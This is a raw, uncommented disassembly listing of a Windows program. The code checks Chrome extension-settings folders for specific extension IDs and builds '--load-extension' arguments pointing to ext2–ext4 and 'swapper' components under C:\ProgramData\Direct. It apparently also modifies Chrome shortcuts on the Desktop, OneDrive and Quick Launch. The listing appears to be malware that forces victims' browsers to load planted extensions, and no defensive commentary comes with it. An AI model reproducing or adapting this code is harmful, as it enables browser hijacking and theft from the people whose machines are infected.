lea rcx, [rsp + 0x8f0]
call fcn.1400037f0
nop
mov rdx, qword [rsp + 0x698]
cmp rdx, 7
jbe 0x14000e8d2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x680]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e8cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e4d
call fcn.140036370
mov qword [rsp + 0x690], rsi
mov qword [rsp + 0x698], 7
mov word [rsp + 0x680], si
mov rdx, qword [rsp + 0x738]
cmp rdx, 7
jbe 0x14000e936
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x720]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e931
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e85
call fcn.140036370
mov qword [rsp + 0x730], rsi
mov qword [rsp + 0x738], 7
mov word [rsp + 0x720], si
lea rax, str.Google_Chrome_User_Data_Default_Local_Extension_Settings_ibnejdfjmmkpcnlpebklmnkoeoihofec
mov qword [rsp + 0x600], rax
mov qword [rsp + 0x608], 0x59
call fcn.1400328a4
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x600], xmm0
lea r8, [rsp + 0x600]
mov edx, eax
lea rcx, [rsp + 0x7c0]
call fcn.140003340
nop
lea rax, [rsp + 0x760]
cmp qword [rsp + 0x778], 0xf
cmova rax, qword [rsp + 0x760]
mov qword [rsp + 0x600], rax
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x608], rax
call fcn.1400328a4
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x600], xmm0
lea r8, [rsp + 0x600]
mov edx, eax
lea rcx, [rsp + 0x6a0]
call fcn.140003340
nop
lea r8, [rsp + 0x7c0]
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x890]
call fcn.1400037f0
nop
mov rdx, qword [rsp + 0x6b8]
cmp rdx, 7
jbe 0x14000ea61
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ea5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e8b
call fcn.140036370
mov qword [rsp + 0x6b0], rsi
mov qword [rsp + 0x6b8], 7
mov word [rsp + 0x6a0], si
mov rdx, qword [rsp + 0x7d8]
cmp rdx, 7
jbe 0x14000eac5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x7c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eac0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e91
call fcn.140036370
mov qword [rsp + 0x7d0], rsi
mov qword [rsp + 0x7d8], 7
mov word [rsp + 0x7c0], si
lea rax, str.Google_Chrome_User_Data_Default_Local_Extension_Settings_egjidjbpglichdcondbcbdnbeeppgdph
mov qword [rsp + 0x600], rax
mov qword [rsp + 0x608], 0x59
call fcn.1400328a4
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x600], xmm0
lea r8, [rsp + 0x600]
mov edx, eax
lea rcx, [rsp + 0x80]
call fcn.140003340
nop
lea rdx, [rsp + 0x760]
lea rcx, [rsp + 0x640]
call fcn.14001d210
nop
lea r8, [rsp + 0x80]
mov rdx, rax
lea rcx, [rsp + 0x8b0]
call fcn.1400037f0
nop
lea rcx, [rsp + 0x640]
call fcn.140003a00
nop
lea rcx, [rsp + 0x80]
call fcn.140003a00
lea rdx, str.Google_Chrome_User_Data_Default_Local_Extension_Settings_hifafgmccdpekplomjjkcfgodnhcellj
lea rcx, [rsp + 0x6e0]
call fcn.14001dcd0
nop
lea rdx, [rsp + 0x760]
lea rcx, [rsp + 0x40]
call fcn.14001d210
nop
lea r8, [rsp + 0x6e0]
mov rdx, rax
lea rcx, [rsp + 0x8d0]
call fcn.1400037f0
nop
lea rcx, [rsp + 0x40]
call fcn.140003a00
nop
mov rdx, qword [rsp + 0x6f8]
cmp rdx, 7
jbe 0x14000ec08
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ec03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e97
call fcn.140036370
mov qword [rsp + 0x6f0], rsi
mov qword [rsp + 0x6f8], 7
mov word [rsp + 0x6e0], si
lea rcx, [rsp + 0x6a0]
call fcn.1400096b0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x620], xmm0
mov qword [rsp + 0x630], rsi
mov qword [rsp + 0x638], rsi
mov r8d, 0x27
lea rdx, str.__load_extensionC:ProgramDataDirect_
lea rcx, [rsp + 0x620]
call fcn.14001f010
nop
lea rcx, [rsp + 0x8f0]
call fcn.14000cfb0
movzx ebx, al
lea rcx, [rsp + 0x890]
call fcn.14000cfb0
lea edi, [rbx + 1]
test al, al
cmove edi, ebx
lea rcx, [rsp + 0x8b0]
call fcn.14000cfb0
lea ebx, [rdi + 1]
test al, al
cmove ebx, edi
lea rcx, [rsp + 0x8d0]
call fcn.14000cfb0
lea ecx, [rbx + 1]
test al, al
cmove ecx, ebx
test ecx, ecx
lea rcx, [rsp + 0x8f0]
jne 0x14000f2c0
call fcn.14000cfb0
test al, al
je 0x14000edf9
lea rdx, [0x14006ffc8]
lea rcx, [rsp + 0x620]
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, [0x14006ffc8]
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, [0x14006ffc8]
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, [0x14006ffc8]
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, [0x14006ffc8]
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
lea rcx, [rsp + 0x890]
call fcn.14000cfb0
test al, al
je 0x14000ef36
lea rdx, str.ext2
lea rcx, [rsp + 0x620]
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
lea rcx, [rsp + 0x8b0]
call fcn.14000cfb0
test al, al
je 0x14000f073
lea rdx, str.ext3
lea rcx, [rsp + 0x620]
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
lea rcx, [rsp + 0x8d0]
call fcn.14000cfb0
test al, al
je 0x14000f1b0
lea rdx, str.ext4
lea rcx, [rsp + 0x620]
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
lea rdx, str.swapper
lea rcx, [rsp + 0x620]
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
jmp 0x14000fde2
call fcn.14000cfb0
test al, al
je 0x14000f400
lea rdx, [0x14006ffc8]
lea rcx, [rsp + 0x620]
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, [0x14006ffc8]
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, [0x14006ffc8]
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, [0x14006ffc8]
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, [0x14006ffc8]
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
mov r15d, 1
jmp 0x14000f8f8
lea rcx, [rsp + 0x890]
call fcn.14000cfb0
test al, al
je 0x14000f548
lea rdx, str.ext2
lea rcx, [rsp + 0x620]
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
mov r15d, 2
jmp 0x14000f8f8
lea rcx, [rsp + 0x8b0]
call fcn.14000cfb0
test al, al
je 0x14000f68a
lea rdx, str.ext3
lea rcx, [rsp + 0x620]
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
jmp 0x14000f8f8
lea rcx, [rsp + 0x8d0]
call fcn.14000cfb0
lea rcx, [rsp + 0x620]
test al, al
je 0x14000f7d2
lea rdx, str.ext4
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
mov r15d, 4
jmp 0x14000f8f8
lea rdx, str.swapper
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
mov r15d, 5
lea rcx, [rsp + 0x890]
call fcn.14000cfb0
test al, al
je 0x14000fa3f
cmp r15d, 2
je 0x14000fa3f
lea rdx, str._C:ProgramDataDirectext2
lea rcx, [rsp + 0x620]
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
lea rcx, [rsp + 0x8b0]
call fcn.14000cfb0
test al, al
je 0x14000fb86
cmp r15d, 3
je 0x14000fb86
lea rdx, str._C:ProgramDataDirectext3
lea rcx, [rsp + 0x620]
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
lea rcx, [rsp + 0x8d0]
call fcn.14000cfb0
test al, al
je 0x14000fccd
cmp r15d, 4
je 0x14000fcd7
lea rdx, str._C:ProgramDataDirectext4
lea rcx, [rsp + 0x620]
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
cmp r15d, 5
je 0x14000fdff
lea rdx, str._C:ProgramDataDirect_swapper
lea rcx, [rsp + 0x620]
call fcn.1400139d0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c380
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cba0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c790
lea rax, [rsp + 0x640]
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x640]
call fcn.140013c30
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013bf0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c030
lea rcx, str.nkbihfbeogaeaoehlefnkodbefgpgknn
call fcn.14000d0b0
lea rcx, str.ibnejdfjmmkpcnlpebklmnkoeoihofec
call fcn.14000d0b0
lea rcx, str.egjidjbpglichdcondbcbdnbeeppgdph
call fcn.14000d0b0
lea rcx, str.hifafgmccdpekplomjjkcfgodnhcellj
call fcn.14000d0b0
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rcx, qword [rsp + 0x6b0]
sub rax, rcx
cmp rax, 9
jb 0x140010e9d
lea rax, [rsp + 0x6a0]
cmp qword [rsp + 0x6b8], 0xf
cmova rax, qword [rsp + 0x6a0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rsp + 0x6e0]
call fcn.140026290
nop
mov r8d, 0x1a
lea rdx, str.DesktopGoogle_Chrome.lnk
lea rcx, [rsp + 0x6e0]
call fcn.1400176b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x740], xmm0
mov qword [rsp + 0x750], rsi
mov qword [rsp + 0x758], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x740], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x750], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x6f8]
cmp rdx, 0xf
jbe 0x14000ff31
inc rdx
mov rcx, qword [rsp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ff2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ea3
call fcn.140036370
mov qword [rsp + 0x6f0], rsi
mov qword [rsp + 0x6f8], 0xf
mov byte [rsp + 0x6e0], 0
mov rax, rbx
mov rcx, qword [rsp + 0x6b0]
sub rax, rcx
cmp rax, 9
jb 0x140010ea9
lea rax, [rsp + 0x6a0]
cmp qword [rsp + 0x6b8], 0xf
cmova rax, qword [rsp + 0x6a0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rsp + 0x680]
call fcn.140026290
nop
mov r8d, 0x26
lea rdx, str.OneDriveEscritorioGoogle_Chrome.lnk
lea rcx, [rsp + 0x680]
call fcn.1400176b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x780], xmm0
mov qword [rsp + 0x790], rsi
mov qword [rsp + 0x798], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x780], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x790], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x698]
cmp rdx, 0xf
jbe 0x140010045
inc rdx
mov rcx, qword [rsp + 0x680]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010040
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010eaf
call fcn.140036370
mov qword [rsp + 0x690], rsi
mov qword [rsp + 0x698], 0xf
mov byte [rsp + 0x680], 0
mov rcx, qword [rsp + 0x6b0]
sub rbx, rcx
cmp rbx, 9
jb 0x140010eb5
lea rax, [rsp + 0x6a0]
cmp qword [rsp + 0x6b8], 0xf
cmova rax, qword [rsp + 0x6a0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rsp + 0x6e0]
call fcn.140026290
nop
mov r8d, 0x4b
lea rdx, str.AppDataRoamingMicrosoftInternet_ExplorerQuick_LaunchGoogle_Chrome.lnk
lea rcx, [rsp + 0x6e0]
call fcn.1400176b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x7a0], xmm0
mov qword [rsp + 0x7b0], rsi
mov qword [rsp + 0x7b8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x7a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x7b0], xmm1
